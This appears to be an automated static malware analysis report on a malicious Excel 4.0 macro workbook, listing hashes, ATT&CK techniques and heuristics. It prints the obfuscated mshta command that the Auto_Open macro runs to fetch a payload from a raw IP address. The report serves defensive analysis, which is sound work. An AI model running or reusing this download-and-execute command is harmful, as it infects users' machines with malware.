Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 f5a335ee24fa41b3…

MALICIOUS

Office (OLE) / .XLSX

65.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 7ab03924eff46a3eecf296527931c952 SHA-1: 59cd337ed4d909f34cb611e195506de67778b1a5 SHA-256: f5a335ee24fa41b3fa92c6ea5bece9322f2fd375136a1575673ca2abe323f24d
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. Upon enabling, the Auto_Open macro executes a command to download a payload from the URL http://87.251.86.178/pp/oo.html. The macro reconstructs the command string 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html' from obfuscated parts.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes

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